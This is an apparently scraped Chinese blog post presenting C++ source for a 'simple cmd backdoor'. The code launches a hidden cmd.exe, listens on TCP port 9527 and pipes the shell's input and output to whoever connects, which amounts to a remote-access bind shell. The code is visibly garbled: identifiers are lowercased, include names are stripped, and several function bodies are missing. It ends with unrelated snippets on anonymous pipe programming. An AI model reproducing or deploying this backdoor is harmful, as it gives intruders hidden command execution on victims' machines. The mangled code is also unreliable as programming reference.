匿名管道實現基於Socket的簡單cmd後門

2021-06-14 12:47:41 字數 3608 閱讀 1678

back.h

#ifndef backdoor_h_

#define backdoor_h_

extern handle hreadone;//pipe one read

extern handle hwriteone;//pipe one write

extern handle hwritetwo;//pipe two read

extern handle hreadtwo;//pipe two write

extern socket socksrv ;//global server scoket

extern socket m_acceptsock ;

extern sockaddr_in sockaddr;//global scokaddr

extern bool bexit;

extern handle hthreadinput;

extern handle hthreadoutput;

dword winapi threadinput(lpvoid lpparameter);

dword winapi threadoutput(lpvoid lpparameter);

int senddata(socket m_sock, void *pbuf, dword dwbuflen);

void initsocket();

#endif

backdoorfunc.cpp

#include #include #include #pragma comment(lib,"ws2_32.lib")

#include "back.h"

handle hreadone = null;//pipe one read

handle hwriteone = null;//pipe one write

handle hwritetwo = null;//pipe two read

handle hreadtwo = null;//pipe two write

socket socksrv = invalid_socket;//global server scoket

socket m_acceptsock = invalid_socket;

sockaddr_in sockaddr=;//global scokaddr

bool bexit = false;

handle hthreadinput = null;

handle hthreadoutput = null;

int senddata(socket m_sock, void *pbuf, dword dwbuflen)//send data

int isend = 0;

if (dwbuflen > 0)

}return 0;}

dword winapi threadoutput(lpvoid lpparameter)//send data from read pipe to socket

; bool bret = false;

while(!bexit)

sleep(50);

}sleep(500);

}return 0;}

dword winapi threadinput(lpvoid lpparameter)//recv data from socket and write in pipe

else

sleep(50);

}return 0;}

void initsocket()//init socket

}socksrv = socket(af_inet, sock_stream,ipproto_tcp);

if (invalid_socket == socksrv)

sockaddr.sin_addr.s_un.s_addr = inaddr_any;

sockaddr.sin_family = af_inet;

sockaddr.sin_port = htons(9527);

if (socket_error == bind(socksrv,(sockaddr*)&sockaddr,sizeof(sockaddr)))

if (socket_error == listen(socksrv,5))

}

main.cpp

#include #include #include #pragma comment(lib,"ws2_32.lib")

#include "back.h"

int winapi winmain( hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int nshowcmd )

//int main()

security_attributes sa;

sa.binherithandle = true;

sa.lpsecuritydescriptor = null;

sa.nlength = sizeof(security_attributes);

if (!createpipe(&hreadone,&hwriteone,&sa,0) || !createpipe(&hreadtwo,&hwritetwo,&sa,null))

startupinfo si;

getstartupinfo(&si);

si.cb = sizeof(startupinfo);

si.hstdinput = hreadone;

si.hstderror = si.hstdoutput = hwritetwo;

si.dwflags = startf_usestdhandles | startf_useshowwindow;

si.wshowwindow = sw_hide;

process_information pi;

char szcmdline[max_path] = ;

getsystemdirectory(szcmdline,max_path);

_tcscat_s(szcmdline,"\\cmd.exe");

if (!createprocess(szcmdline,null,null,null,true,0,null,null,&si,&pi))

hthreadoutput = createthread(null,null,threadoutput,(lpvoid)&hreadtwo,0,0);

hthreadinput = createthread(null,null,threadinput,(lpvoid)&hwriteone,0,0);

handle szhandles = ;

waitformultipleobjects(3, szhandles, false, infinite) ;

closehandle(hthreadinput);

closehandle(hthreadoutput);

closesocket(socksrv);

wsacleanup();

return 0;

}

C 匿名管道的理解與實現

什麼是匿名管道?匿名管道用於程序之間通訊,且僅限於本地父子程序之間通訊,結構簡單,類似於一根水管,一端進水另一端出水 單工 相對於命名管道,其占用小實現簡單,在特定情況下,比如實現兩圍棋引擎本地對戰可以使用匿名管道。怎樣實現匿名管道雙向通訊?由於匿名管道是單工的,所以為實現父子程序雙向通訊需要建立兩...

匿名管道實現程序資訊交換

通過建立兩個匿名管道來實現主程序與cmd.exe程序的通訊,在主程序輸入命令後將命令傳送到cmd.exe程序進行執行,執行完成後返回執行結果到主程序並顯示 程式作用 通過建立的匿名管道與建立的cmd程式通訊,並將cmd中的結果返回 此處是將本程式和乙個已經存在的可執行程式連線起來進行通訊 inclu...

VC 下對匿名管道的程式設計實現

總的來說,匿名管道程式是比較簡單的。在下面將要給出的程式示例中,將由父程序 管道伺服器 建立乙個子程序 管道客戶機 子程序回見個其全部的標準輸出傳送到匿名管道中,父程序再從管道讀取資料,一直到子程序關閉管道的寫控制代碼。其中,匿名管道伺服器程式的實現清單如下 startupinfo si proce...